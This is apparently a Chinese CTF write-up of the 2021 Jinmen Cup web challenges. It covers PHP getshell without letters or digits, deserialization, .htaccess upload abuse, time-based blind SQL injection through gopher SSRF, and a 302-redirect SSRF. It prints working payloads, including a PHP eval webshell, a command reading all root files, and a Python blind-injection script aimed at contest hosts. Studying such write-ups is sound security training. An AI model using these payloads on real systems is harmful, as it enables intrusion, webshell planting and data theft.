0%

2021津门杯

加油💪

  1. php无数字字母getshell
  2. 反序列化
  3. 文件上传 .htaccess
  4. 时间盲注
  5. ssrf 302跳转

    Hate_php

    <?php
    error_reporting(0);
    if(!isset($_GET['code'])){
    highlight_file(__FILE__);
    }else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
    die('fighting!');
    }
    eval($code);
    }
    一看无数字字母getshell

payload:

 ?code=?><?=`/???/??? /*`?>  尝试了几个文件没回显,索性直接读取所有文件

?code=?><?=`/bin/cat /*`?>

放几个连接:

2018安恒杯 - 9月月赛Writeup

一些不包含数字和字母的webshell

PHP不使用数字,字母和下划线写shell | Smi1e

还有这样 php临时文件利用

POST http://122.112.214.101:20004/?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?> HTTP/1.1
//(?><?=`. /???/????????[?-[]`;?>)
Host: 122.112.214.101:20004
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type:multipart/form-data;boundary=--------123
Connection: close
Content-Length: 105

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

echo "<?php eval(\$_POST['jan']);" > shell.php
----------123--

Power_cut

扫目录得:.index.php.swp

恢复:vim -r index.php

<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);

}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
echo "this is destruct";
}
}

class weblog {
public $weblogfile;

function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}

public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

function __destruct(){
echo "this is destruct";
}

}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

测试了好多,就是不执行__construct()

看其他师傅博客说:

但是weblog是序列化出来的,不会执行到__construct()方法

还能利用的就是 readfile()

payload:

<?php

class weblog {
public $weblogfile = '/flflagag'; //绕过waf

function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
}

$a = new weblog();

echo serialize($a);

UploadHub

题目给了有源码和配置文件

能上传,不解析

附件:config.php

<?php


$conn=mysqli_connect("localhost","root","root","shuyu");
if (mysqli_connect_error($conn))
{
echo "���� MySQL ʧ��: " . mysqli_connect_error();
}
foreach ($_GET as $key => $value) {
$value= str_ireplace('\'','',$value);
$value= str_ireplace('"','',$value);
$value= str_ireplace('union','',$value);
$value= str_ireplace('select','',$value);
$value= str_ireplace('from','',$value);
$value= str_ireplace('or','',$value);
$_GET[$key] =$value;
}
?>

index.php:

<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>

<form action="" method="post"
enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>


<?php
error_reporting(0);
session_start();
include('config.php');

$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');

if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{

$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);

$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);

if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}

move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}

elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}


?>
<style>
body{
background:url(./back.jpg) no-repeat right -160px ;
background-size:90%;
background-attachment:fixed;
background-color: rgba(255, 255, 255, 0.8);
}
</style>
</body>
</html>

看一眼 apache2.conf 配置文件

apache2.conf

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
php_flag engine 设置为0,会关闭该目录和子目录的php解析

我们可以通过上传.htaccess文件来开启php解析

经师傅们测试发现<file>标签的优先级高于<directory>

<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>

随便上传个gif,拿到shell,但是由于disable_funtions的限制,只能通过readfile读取文件

payload:

shell=var_dump(file_get_contents('/flag'));
shell=var_dump(readfile('/flag'));

easysql

这题没看,记录下别人的wp

源码:

<?php
highlight_file(__FILE__);
session_start();
$url = $_GET['url'] ?? false;
if($url)
{
$a = preg_match("/file|dict/i", $url);
if ($a==1)
{
exit();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

简单的ssrf,全端口探测,发现只开放80和3306

想到ssrf通过gopher协议攻击已知用户名无密码的mysql

同时目录扫描发现admin.php

结合题目为easysql

猜测为admin.php进行post注入

盲注点:poc=1 and sleep(1)

脚本:

import urllib
import requests
import time


flag='flag is :'
s = '0123456789abcdefghijklmnopqrstuvwxyz~!@#$%{}-_'

for i in range(100):
for ss in s:
payload = "poc=1)and if(substr((select user()),%d,1)='%s',sleep(5),0) and (1=1" % (i,ss)
#print(payload)
test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close

%s
""" % (len(payload),payload)
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
new = new.replace('%','%25')
result = '_'+new

url = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+result
print(url)
startTime=time.time()
data= requests.get(url).content[3400:]
if(time.time() - startTime > 5):
flag += ss
print flag

goos

go语言的题目。给了源码。

大体看一下,存在index.php ,最终应该是通过这个来进行获取flag。

然后看一下main.go文件。

大致两块,upload和vul

upload应该是陷阱,没法利用的。

主要是vul

看到这里:


总体思路就比较清晰了,通过302跳转,来跳转到本地80端口的index.php,进而读取flag

接下来的操作ez

payload:

构造:

http://127.0.0.1:1234//ip/..

跳转到ip

我们可以在vps上新建index.php

内容为

<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>

一个302跳转


参考

『CTF』津门杯国际网络安全创新大赛 WP

2021 津门杯 WEB